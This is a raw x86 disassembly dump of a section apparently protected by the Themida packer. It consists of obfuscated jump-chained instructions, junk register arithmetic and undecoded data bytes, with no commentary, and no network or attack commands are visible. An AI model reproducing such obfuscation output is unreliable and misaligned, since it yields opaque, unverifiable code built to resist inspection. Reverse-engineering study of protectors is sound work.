		jmp	loc_561CDA
; ---------------------------------------------------------------------------
aMsw_		db '╛Иw.',0             ; DATA XREF: Themida_:00550958o
		db 0
; ---------------------------------------------------------------------------


loc_55A2E7:				; CODE XREF: Themida_:00556E2Ej
		inc	ebp
		inc	ebp
		jmp	loc_558785
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 39E90424h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2F7:				; CODE XREF: Themida_:0056214Ej
		add	ebp, 65244978h
		jmp	loc_5519F3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 7F344D75h
		sub	edx, 7B0E2724h
		push	eax
		mov	eax, 1
		add	edx, eax
		pop	eax
		inc	edx
		xor	edx, 4262657h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	ebx, 4
		push	esi
		jmp	loc_554F7E
; ---------------------------------------------------------------------------
		db 68h
		dd 33635918h, 83240C8Bh, 814904C4h, 0BA5FBBE1h,	4EC8340h
		dd 0E9242C89h, 543Ch, 3F93C581h, 0E929B606h, 0C89E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A36D:				; CODE XREF: Themida_:00553B23j
		push	ecx
		mov	ecx, esp
		jmp	loc_555848
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF87E5E9h, 4EC83FFh, 54242C89h, 0FFB0F9E9h,	0BF575BFFh
		dd 31546895h, 67C3C781h, 0F78133BFh, 6513D05Ch,	685FFB01h
		dd 2BD0h, 0BA241489h, 4, 0FFD0D7E9h, 243C89FFh,	0AF0A7EBFh
		dd 8BFB3128h, 0C483243Ch, 5BDF0104h, 8904EC83h,	2BA2414h
		dd 50000000h, 0D60356B8h, 69D9E963h, 2C680000h,	89000049h
		dd 0FE68241Ch, 0E900001Ch, 0FFFF667Ah, 8BDD8966h, 0C483241Ch
		dd 68056604h, 0E829665Fh, 5F682D66h, 242C8B66h,	4EC8350h
		dd 81242489h, 42404h, 61E90000h, 5D00001Dh, 0C77EE95Eh
		dd 0CE01FFFFh, 8BF28959h, 0C4832434h, 7EAC104h,	0A1BF574Ah
		dd 21486909h, 0C2815FFAh, 0FF97F784h, 148BD501h, 595EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A446:				; CODE XREF: Themida_:005530DFj
		add	ecx, 293F3CA1h
		push	ebp
		mov	ebp, 0D4B04CEh
		xor	ebp, 52C83AB0h
		add	ebp, 0F962856h
		and	ebp, 0B85FB4h
		xor	ebp, 31A724DFh
		sub	ecx, 41B56973h
		jmp	loc_55EDD3
; ---------------------------------------------------------------------------
byte_55A475	db 66h,	8Bh, 4		; DATA XREF: Themida_:005507F4o
		dd 0E116E924h, 0C481FFFFh, 4, 0FF7A99E9h, 240431FFh, 8B240433h
		dd 0F662424h, 9C2404B3h, 0FF6512E9h, 585450FFh,	405h, 4BB5300h
		dd 0E9000000h, 228Dh
; ---------------------------------------------------------------------------


loc_55A4B0:				; CODE XREF: Themida_:0055988Aj
		and	ebx, 576150EBh
		jmp	loc_553E4A
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF243Ch, 0E9000000h, 0FFFF733Bh, 0F72820B6h, 49EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A4D1:				; CODE XREF: Themida_:005594C9j
		pop	ecx
		jmp	loc_562070
; ---------------------------------------------------------------------------


loc_55A4D7:				; CODE XREF: Themida_:00558A85j
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5516C2
; ---------------------------------------------------------------------------
		db 58h,	68h, 0FCh
		dd 89000047h, 4BE2434h,	81000000h, 6D2F91EFh, 81F7014Ah
		dd 6D2F91C7h, 3C875E4Ah, 34FF5C24h, 3B3FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A50A:				; CODE XREF: Themida_:0055401Cj
		shr	ecx, 0Ah
		jmp	loc_55E393
; ---------------------------------------------------------------------------
word_55A512	dw 34FFh		; DATA XREF: Themida_:005507C0o
		dd 13E95924h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A51B:				; CODE XREF: Themida_:00560464j
		push	ebx
		mov	ebx, 5E0311B4h
		sub	ebx, 73443AC8h
		add	ebx, 94AA2C2Bh
		add	esi, ebx
		pop	ebx
		xor	esi, 92E97267h
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_564B6D
; ---------------------------------------------------------------------------
		dd 193605B9h, 734B6851h, 34890000h, 3601BE24h, 0F1295119h
		dd 0E92434FFh, 1322h, 0E908E5C1h, 0FFFF7D7Dh
; ---------------------------------------------------------------------------


loc_55A564:				; CODE XREF: Themida_:00553896j
		mov	eax, 3B23515Dh
		add	dword ptr [esp+4], 6DBA2B26h
		sub	[esp+4], eax
		jmp	loc_550ECE
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8F58E904h, 8957FFFFh, 4BB53E7h, 1000000h, 3300E9DFh
		dd 8ABA0000h, 0E9401A40h, 0FFFFD821h
; ---------------------------------------------------------------------------


loc_55A59C:				; CODE XREF: Themida_:0056374Aj
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55D614
; ---------------------------------------------------------------------------
		dd 20C38143h, 0E92A8705h, 5026h
; ---------------------------------------------------------------------------


loc_55A5C0:				; CODE XREF: Themida_:005612E0j
		shr	edx, 4
		sub	edx, 28C90718h
		add	edx, 36BC4D49h
		push	edx
		pop	ebp
		pop	edx
		sub	[esp+8], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55B426
; ---------------------------------------------------------------------------
		dd 8CBCEA81h, 0D0896BA4h, 0D98E055Ah, 0C7012D72h, 59E94F58h
		dd 8B00004Dh, 0C483241Ch, 8BC28804h, 0C4812404h, 4, 5AD000h
		dd 0A86866D8h, 9881E901h, 1C870000h, 29B1E924h,	814D0000h
		dd 7540FEC5h, 0CCA3E9EDh, 0C8BFFFFh, 0CA13E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A636:				; CODE XREF: Themida_:005638D6j
		sub	esp, 4
		mov	[esp], ecx
		push	72320774h
		jmp	loc_55BCD1
; ---------------------------------------------------------------------------


loc_55A649:				; CODE XREF: Themida_:005575FEj
		xchg	edx, [esp]
		pop	esp


loc_55A64D:				; CODE XREF: Themida_:0055997Dj
		push	3E82h
		mov	[esp], ebx
		push	ecx
		push	29FFh
		mov	[esp], ebp
		mov	ebp, 667D04F5h
		shl	ebp, 4
		jmp	loc_55A79B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 8528E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A676:				; CODE XREF: Themida_:005575B2j
		mov	ebp, eax
		jmp	loc_556E76
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Fh, 68000000h,	695h, 83243C89h, 0C8904ECh, 26586824h
		dd 1C890000h, 3B3FBB24h, 0C38144B4h, 54CD32DAh,	5ADA68h
		dd 242C8900h, 4A77F7BDh, 90C58127h, 1739A35h, 69B5E9EBh
		db 2 dup(0)
word_55A6C2	dw 5650h		; DATA XREF: Themida_:005508ECo
		dd 0C681E689h, 4, 4EE81h, 34870000h, 81FDE924h,	0EB890000h
		dd 0D3015A5Dh, 0F24E9h,	0EC815B00h, 2, 0FF810EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A6F1:				; CODE XREF: Themida_:0055B18Fj
		pop	ebx
		push	edx
		jmp	loc_562668
; ---------------------------------------------------------------------------
		dd 8324148Bh, 35E904C4h, 89FFFF9Bh, 5CE95EF5h, 55000001h
		dd 342D49BDh, 5DEB0156h, 0EB81CB29h, 56342D49h,	664FE9h
		dd 40500h, 4330000h, 24043124h,	5C240433h, 0E904C483h
		dd 91EEh, 8BC2015Bh, 54552404h,	0FFD893E9h, 4875BFFh, 24248B24h
		dd 0E92434FFh, 0FFFFA07Bh
; ---------------------------------------------------------------------------


loc_55A754:				; CODE XREF: Themida_:005559B9j
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7FD6009Ch
		sub	ebp, 7FD6009Ah
		jmp	loc_558572
; ---------------------------------------------------------------------------
		db 0BAh, 1Fh, 3Eh
		dd 0D2F7565Ch, 3EAC142h, 0F281DAF7h, 604D6F65h,	0CCA4F281h
		dd 0D029B25Bh, 0DCE9525Ah
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A79B:				; CODE XREF: Themida_:0055A666j
		xchg	ebx, ebp
		push	0
		sub	dword ptr [esp], 51F62C72h
		sub	[esp], ebx
		jmp	loc_556367
; ---------------------------------------------------------------------------
		db 0B2h, 32h, 30h
		dd 2434FFFAh, 81241C8Bh, 4C4h, 0E2895200h, 37F468h, 241C8900h
		dd 1C1443BBh, 0D1CBE96Dh, 5552FFFFh, 3C00AFBDh,	2D4FBA45h
		dd 0EA81A51Dh, 3E4533C9h, 79A3EA81h, 0EA292B49h, 79A3C281h
		dd 0C2812B49h, 3E4533C9h, 0E9242C8Bh, 901Eh
; ---------------------------------------------------------------------------


loc_55A804:				; CODE XREF: Themida_:00563DBFj
		add	ebp, esi
		pop	esi
		push	5115h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55F41F
; ---------------------------------------------------------------------------
		dd 0FF6186E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A829:				; CODE XREF: Themida_:00558BF6j
		add	ebp, edx
		add	ebp, 133110F3h
		pop	edx
		jmp	loc_554905
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 875FFE01h, 575C2434h, 0E708A768h,	2434FF4Ch, 83243C8Bh
		dd 21E904C4h, 680000AFh, 29E2A7Ch, 5124148Bh, 9BE9E189h
		dd 1000038h, 242C8BEEh,	4C481h,	34330000h, 24343124h, 8B243433h
		dd 0F662424h, 9C2404A3h, 0FF6126E9h, 241489FFh,	853418BAh
		dd 0BB98E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A896:				; CODE XREF: Themida_:00564D67j
		pop	ebx
		push	edx
		push	eax
		jmp	loc_56149B
; ---------------------------------------------------------------------------
aWsqe		db 'WИ÷E',0
		align 4
		dd 3C26A868h, 15E95D35h
		db 63h,	2 dup(0)
byte_55A8AF	db 66h			; DATA XREF: Themida_:00550848o
		dd 8124048Bh, 4ECh, 24148900h, 385868h,	9FE3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A8C6:				; CODE XREF: Themida_:0055B4B8j
		xor	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		add	edx, 4
		jmp	loc_557FCD
; ---------------------------------------------------------------------------


loc_55A8D4:				; CODE XREF: Themida_:0056248Cj
		sub	ebx, 7C619523h
		xor	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_551CFE
; ---------------------------------------------------------------------------
aUNMhk		db 'U╫$N$Mh┼',8,0
		dw 8900h
		dd 9BE92414h, 5EFFFFD6h, 0FF924DE9h
		db 0FFh
byte_55A8FD	db 0ADh, 83h, 0ECh	; DATA XREF: Themida_:00550724o
		dd 0B0D8E904h, 0C481FFFFh, 4, 811C77FFh, 5E142434h, 0C8B1424h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 630F68h
		dd 24348900h, 8E25DDBEh, 0E955521Eh, 0FFFF64F0h
; ---------------------------------------------------------------------------


loc_55A940:				; CODE XREF: Themida_:0055FFE0j
		pop	eax
		add	eax, 4
		push	ecx
		jmp	loc_5647C1
; ---------------------------------------------------------------------------


loc_55A94C:				; CODE XREF: Themida_:005649CBj
		mov	edi, 46514F13h
		jmp	loc_554CC2
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 89241C89h, 18A868E3h, 4890000h, 4B824h, 0C3810000h
		dd 756414D8h, 9F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A979:				; CODE XREF: Themida_:0055C4A3j
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5635AE
; ---------------------------------------------------------------------------
		dd 4C781h, 0CCE90000h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A993:				; CODE XREF: Themida_:00550DBDj
		sub	esp, 4
		jmp	loc_551484
; ---------------------------------------------------------------------------


loc_55A99E:				; CODE XREF: Themida_:0055DA6Ej
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_559076
; ---------------------------------------------------------------------------
		dd 4240483h, 0ACFDE9h, 464EBA00h, 0D0891577h, 8BC2015Ah
		dd 0C4832404h, 8B2FE904h, 48F0000h, 24D35C24h, 5FD1E924h
		db 2 dup(0FFh)
word_55A9DE	dw 6368h		; DATA XREF: Themida_:00550884o
		dd 81000014h, 4ECh, 33FD6800h, 24890000h, 44646824h, 4890000h
		dd 4B824h, 44810000h, 7E0F0424h, 440129F0h, 6C810424h
		dd 7E0F0424h, 48B29F0h,	0E1895124h, 4C181h, 4CE90000h
		db 41h,	2 dup(0)
byte_55AA23	db 66h			; DATA XREF: Themida_:005507A4o
		dd 53240C8Bh, 0C381E389h, 4, 0AA0BE9h, 0E9596600h, 0FFFFDCBEh
; ---------------------------------------------------------------------------


loc_55AA3C:				; CODE XREF: Themida_:00554BDAj
		add	edi, 7E75708Eh
		jmp	loc_554537
; ---------------------------------------------------------------------------


loc_55AA47:				; CODE XREF: Themida_:005582AEj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5591CC
; ---------------------------------------------------------------------------


loc_55AA55:				; CODE XREF: Themida_:00555829j
		add	ebp, 50974E5Eh
		sub	edi, 3C8533BCh
		push	ecx
		mov	ecx, 2266D93h
		jmp	loc_559D27
; ---------------------------------------------------------------------------
		dd 14F4BA52h, 57E915AEh, 81FFFF97h, 4ECh, 24348900h, 49585BBEh
		dd 0B136E955h
		db 2 dup(0)
word_55AA8A	dw 8B66h		; DATA XREF: Themida_:00550700o
		dd 0F682404h, 0E900000Fh, 0D53h, 4105E9C1h, 0FFBD54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AAA1:				; CODE XREF: Themida_:0055E6ECj
		mov	[esp], ecx
		mov	ecx, 14FDCE57h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, edi
		pop	edi
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_5583F8
		push	ebx
		push	6B746796h
		mov	ebx, [esp]
		jmp	loc_552E08
; ---------------------------------------------------------------------------


loc_55AAD2:				; CODE XREF: Themida_:0055C33Cj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55868D
; ---------------------------------------------------------------------------
		dd 42474FFh, 81243C8Bh,	4C4h, 24048F00h, 241C895Ch, 0FF675EE9h
		dd 81E589FFh, 4C5h, 4ED8100h, 87000000h, 895C242Ch, 77E92404h
		dd 68FFFFDEh, 38h, 0DDC2815Ah, 162FF13h, 0C5B850FAh, 57DD512h
		dd 0E52A0118h, 6C30E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AB31:				; CODE XREF: Themida_:00564521j
		mov	esp, [esp]
		jmp	loc_565A6C
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 8
		dd 8904EC83h, 0BF57240Ch, 2980126Eh, 215FF989h,	0EB8159CBh
		dd 29F87C84h, 7491EB81h, 0C3812C58h, 521BFDA3h,	0E906EBC1h
		dd 71E8h, 5C243C87h, 2474FF56h,	2434FF04h, 6418E95Eh, 0C4810000h
		dd 4, 2B951h, 0CA010000h, 24148759h, 0FFB0BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB91:				; CODE XREF: Themida_:0055E4F9j
		xor	edx, 54B77C45h
		or	esi, edx
		pop	edx
		xor	esi, 1BFF7FE3h
		jmp	loc_5520D5
; ---------------------------------------------------------------------------


loc_55ABA5:				; CODE XREF: Themida_:00558206j
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 469F6FF6h
		or	ebp, 6CB15D51h
		add	ebp, 583774F5h
		dec	ebp
		not	ebp
		jmp	loc_55DA61
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4A7635EDh, 4DCBBD55h, 0EB29576Ch, 46FE9h, 8BFA8900h
		dd 0C481243Ch, 4, 3E3CBB53h, 0B0E916FEh, 5700003Ah, 4BFh
		dd 0CBC68100h, 12D352Fh, 0CBEE81FEh, 5F2D352Fh,	5C243487h
		dd 2BF57h, 4E2D0000h, 5351372h,	12B71BEBh, 0EB2DF829h
		dd 512B71Bh, 3513724Eh,	0AE80E9h, 4895C00h, 0BEDAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC32:				; CODE XREF: Themida_:0056467Ej
		sub	esi, 0A808D323h
		sub	ebp, esi
		pop	esi
		shr	ebp, 4
		sub	ebp, 72D90320h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 7F7D7081h
		sub	edx, 30235686h
		add	edx, ecx
		add	edx, 30235686h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7F7D7081h
		sub	edx, edi
		pop	edi
		mov	ecx, [esp]
		jmp	loc_55FB3C
; ---------------------------------------------------------------------------


loc_55AC79:				; CODE XREF: Themida_:00562425j
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_55DA77
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_559ABE
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 8DF18105h, 8138A108h, 0A4CA09F1h, 0E9CA0101h, 0FFFF8F85h
		dd 78D86858h, 2C890000h, 81E58924h, 4C5h, 4C58300h, 0E9242C87h
		dd 39EAh, 0C381C301h, 574D4509h, 0FFEB7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ACD1:				; CODE XREF: Themida_:0055D660j
		push	ebx
		jmp	loc_555400
; ---------------------------------------------------------------------------
		db 81h
		dd 730B76E9h, 24348B27h, 4C481h, 0B8500000h, 4,	8758C101h
		dd 248B240Ch, 2434FF24h, 0FFB39BE9h, 7B9B68FFh,	0F1E90000h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD07:				; CODE XREF: Themida_:0055DE6Dj
		push	eax
		push	77BC4026h
		jmp	loc_554F99
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 242C8BEFh,	8304C483h, 3C8704C7h, 24248B24h
		dd 7559E950h, 0BB53FFFFh, 0
		dd 3CE9D301h, 57FFFF67h, 2BFh, 5FF92900h, 8B240C87h, 89662424h
		dd 0C168240Ch, 89000077h, 1EE9241Ch
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD5B:				; CODE XREF: Themida_:00561394j
		shr	bx, 3
		push	ecx
		push	eax
		mov	ax, 7DE7h
		mov	cx, ax
		pop	eax
		shl	cx, 2
		neg	cx
		xor	cx, 0FBAh
		xor	bx, cx
		pop	ecx
		add	bx, 6D17h
		sub	bx, 5BB8h
		or	ax, bx
		pop	ebx
		jmp	loc_553D3F
; ---------------------------------------------------------------------------


loc_55AD8C:				; CODE XREF: Themida_:0056393Ej
		pop	esp
		add	esp, 4
		shl	ah, 4
		add	ah, 4Dh
		sub	bl, 7Ah
		add	bl, ah
		add	bl, 7Ah
		jmp	loc_559131
; ---------------------------------------------------------------------------
		db 20h
		dd 0E99C2404h, 1588h
; ---------------------------------------------------------------------------


loc_55ADAC:				; CODE XREF: Themida_:00563296j
		mov	ecx, 33C034BEh
		and	eax, ecx
		pop	ecx
		sub	eax, 0FFFFFFFFh
		shl	eax, 7
		jmp	loc_5630A6
; ---------------------------------------------------------------------------
		db 89h
		dd 73BF243Ch, 8376CB42h, 0C8904ECh, 89F98924h, 240C8BCEh
		dd 5F04C483h, 396FE9h, 24040900h, 5BC9E99Ch, 2C87FFFFh
		dd 0C0E95C24h, 29FFFF5Bh, 9FEE81C6h, 8B124347h,	4CE92404h
		dd 0BDFFFF9Bh, 598C4C4Dh, 0B951D5F7h, 31906B52h, 0C181D1F7h
		dd 502A309Ah, 1B98F181h, 0E9C17E43h, 49C98104h,	0E95C1A0Bh
		dd 0FFFF8B12h, 68E78957h, 8BFh,	68240C89h, 5AAC6096h, 5745E959h
		dd 55520000h, 72BDBD66h, 0BE665666h, 8966AC48h,	348B66F2h
		dd 0B870E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AE56:				; CODE XREF: Themida_:00559DA1j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_551FF3
; ---------------------------------------------------------------------------
		dd 748FBD55h, 54E913B7h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AE6F:				; CODE XREF: Themida_:00555884j
		pop	ebp
		sub	edx, 53C17E06h
		add	edx, edi
		push	ebp
		mov	ebp, 53C17E06h
		add	edx, ebp
		pop	ebp
		pop	edi
		xor	edx, 8C664894h
		mov	ecx, 0AEFBFC16h
		add	ecx, edx
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	1DDDh
		jmp	loc_553452
; ---------------------------------------------------------------------------
		db 25h,	0BCh, 1Fh
		dd 0E0D1328Dh, 0BF574840h, 7D8C5A4Fh, 1189E9h, 24048900h
		dd 4B8h, 58C70100h, 0E9243C87h,	15B2h, 2B9h, 59CA0100h
		dd 8B241487h, 0B1512424h, 6224E928h, 48F0000h, 24248B24h
		dd 4AB0F66h, 0BCE99C24h, 0E9FFFF5Ah, 0FFFF5AB7h
; ---------------------------------------------------------------------------


loc_55AEF8:				; CODE XREF: Themida_:005522BDj
		pop	ebx
		or	eax, eax
		jz	loc_56141D
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56347D
; ---------------------------------------------------------------------------
		dd 736FB951h, 0C801453Fh, 58C72959h, 0C781D729h, 46071F75h
		dd 74FF575Ah, 0E95F0424h, 2FA6h, 1242ACBFh, 0A8EF8114h
		dd 1141242h, 34875FFEh,	0BA74E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF42:				; CODE XREF: Themida_:00553EC0j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		jmp	loc_550C62
; ---------------------------------------------------------------------------
		dw 8358h
		dd 1C8904ECh, 49866824h, 2C890000h, 34CDBD24h, 0D1BB2536h
		dd 0E9253634h, 0FFFF95DDh
; ---------------------------------------------------------------------------


loc_55AF6C:				; CODE XREF: Themida_:0055C1CCj
		mov	edx, 277B2BEBh
		mov	eax, 87FBAB6Fh
		xor	eax, edx
		pop	edx
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_55E3E4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31240C33h, 0C33240Ch, 0CFE5C24h, 18E99C24h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF97:				; CODE XREF: Themida_:005549FFj
		xor	edi, 0E737F5A0h
		mov	ecx, edi
		pop	edi
		and	ecx, 75F177EAh
		and	ecx, 20234F30h
		jmp	loc_55B8B1
; ---------------------------------------------------------------------------
		db 31h,	0D3h, 0E9h
		dd 0FFFFCACEh, 8304C483h, 514301EBh, 0F07ACCB9h, 1B62E92Dh
		dd 68660000h, 3E938E8h,	59FFFFA6h, 0FFE869E9h, 0B9515EFFh
		dd 4, 0C8BCD01h, 0B8BCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFEA:				; CODE XREF: Themida_:00563B25j
		push	edx
		jmp	loc_556AA3
; ---------------------------------------------------------------------------
		dd 899DE952h, 15DFFFFh,	0C2E959C8h, 54FFFF74h, 6BD7E95Fh
		dd 0F1800000h, 830AE9BBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B00E:				; CODE XREF: Themida_:0055BCCCj
		push	edx
		jmp	loc_5509E5
; ---------------------------------------------------------------------------
		dd 90F7905h, 6A13E937h
		db 2 dup(0FFh)
word_55B01E	dw 32FFh		; DATA XREF: Themida_:0055093Co
		dd 0FF598AE9h, 0C8966FFh, 0FDB35324h, 0C05BD988h, 0F18007E9h
		dd 8E9C09Fh, 3B92E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B03D:				; CODE XREF: Themida_:0055831Bj
		add	edi, 4
		jmp	loc_561755
; ---------------------------------------------------------------------------
		dd 0E5ABE95Dh, 0FD89FFFFh, 5B0B2D5Fh, 87E9122Ah, 81FFFF74h
		dd 4C3h, 241C8700h, 0FE78E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B06A:				; CODE XREF: Themida_:00559B0Aj
		push	4FD32ACCh
		jmp	loc_557011
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 24048124h, 4, 6CD1E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B08A:				; CODE XREF: Themida_:00555774j
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_55400D
; ---------------------------------------------------------------------------
		dd 8108EBC1h, 0A51AD4E3h, 19C3810Bh, 290BDF06h,	0FE015BDEh
		dd 85DC681h, 3C8B0C00h,	965DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B0B6:				; CODE XREF: Themida_:0055775Ej
		pop	edx
		jmp	loc_554A3A
; ---------------------------------------------------------------------------


loc_55B0BC:				; CODE XREF: Themida_:005537D0j
		xor	dh, cl
		pop	ecx
		add	al, 2
		add	al, 0DDh
		sub	al, dh
		sub	al, 0DDh
		push	cx
		mov	ch, 2
		jmp	loc_55668E
; ---------------------------------------------------------------------------


loc_55B0D0:				; CODE XREF: Themida_:0056101Bj
		pop	ecx
		push	ebx
		mov	ebx, 1AA66D60h
		jmp	loc_5522D3
; ---------------------------------------------------------------------------


loc_55B0DC:				; CODE XREF: Themida_:00565D26j
		mov	[esp], ebp
		jmp	loc_55C724
; ---------------------------------------------------------------------------


loc_55B0E4:				; CODE XREF: Themida_:00553C28j
		mov	edx, 4F11835h
		xor	edx, ebp
		pop	ebp
		jmp	loc_5583A5
; ---------------------------------------------------------------------------


loc_55B0F1:				; CODE XREF: Themida_:005548D5j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5547A9
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FE24248Bh, 0E99C2404h, 0FFFFA371h, 0C1FBE56h, 0F029102Ah
		dd 52E8295Eh, 2A0C1FBAh, 5AD00110h, 6C2DE95Dh, 34FFFFFFh
		dd 241C8B24h, 8304C483h, 0B85004C4h, 4A4239A1h,	7A3DDB05h
		dd 243DE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B142:				; CODE XREF: Themida_:00562D85j
		mov	edx, [esp]
		add	esp, 4
		push	5758h
		jmp	loc_552162
; ---------------------------------------------------------------------------


loc_55B155:				; CODE XREF: Themida_:00553455j
		mov	edi, esp
		jmp	loc_551714
; ---------------------------------------------------------------------------
		dd 8124248Bh, 4ECh, 242C8900h, 0C5815D54h, 4, 81E68956h
		dd 4C6h, 4EE8300h, 0FF6844E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B181:				; CODE XREF: Themida_:005588ADj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 40h
		and	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_55A6F1
; ---------------------------------------------------------------------------


loc_55B194:				; CODE XREF: Themida_:00565CA0j
		add	ebx, 6D0903A8h
		push	edx
		mov	edx, 121F4C01h
		sub	ebx, edx
		pop	edx
		sub	ebx, 43A6A45Ch
		sub	esi, 70340C00h
		jmp	loc_553BB6
; ---------------------------------------------------------------------------
		dd 48BC531h, 4C48324h, 0E902E5C1h, 979Ch, 90C7805Ch, 16E9E728h
		dd 68FFFFD6h, 57B7h, 89243C89h,	3BBB53E7h, 81125F77h, 0B00194C3h
		dd 60C8E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B1EA:				; CODE XREF: Themida_:0055799Cj
		mov	edi, 342B1068h
		xor	edx, edi
		pop	edi
		add	edx, 1
		push	ecx
		mov	ecx, 7CCF1FB4h
		shr	ecx, 1
		and	ecx, 3A7519Eh
		add	ecx, 4DA100C6h
		xor	ecx, 29D6397Fh
		or	edx, ecx
		pop	ecx
		push	ebx
		push	ecx
		mov	ecx, 613C76C7h
		not	ecx
		add	ecx, 0D0A0C367h
		jmp	loc_554F46
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFF60Bh, 835D5D5Ah, 0C281FFEAh, 0C0FA2D61h, 148BD329h
		dd 4C48124h, 0E9000000h, 0FFFFA2EBh, 582C781h, 33592846h
		dd 3C31243Ch, 243C3324h, 6424248Bh, 4CE90288h, 0BFFFFF57h
		dd 4, 815FFA01h, 4EAh, 24148700h, 2424895Ch, 4240483h
		dd 2CE9565Fh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B283:				; CODE XREF: Themida_:00552788j
		pop	eax
		push	7745h
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5656DF
; ---------------------------------------------------------------------------
		dw 1489h
		dd 6401BA24h, 0D2F769A6h, 1D69F281h, 0D2F773CCh, 192AC281h
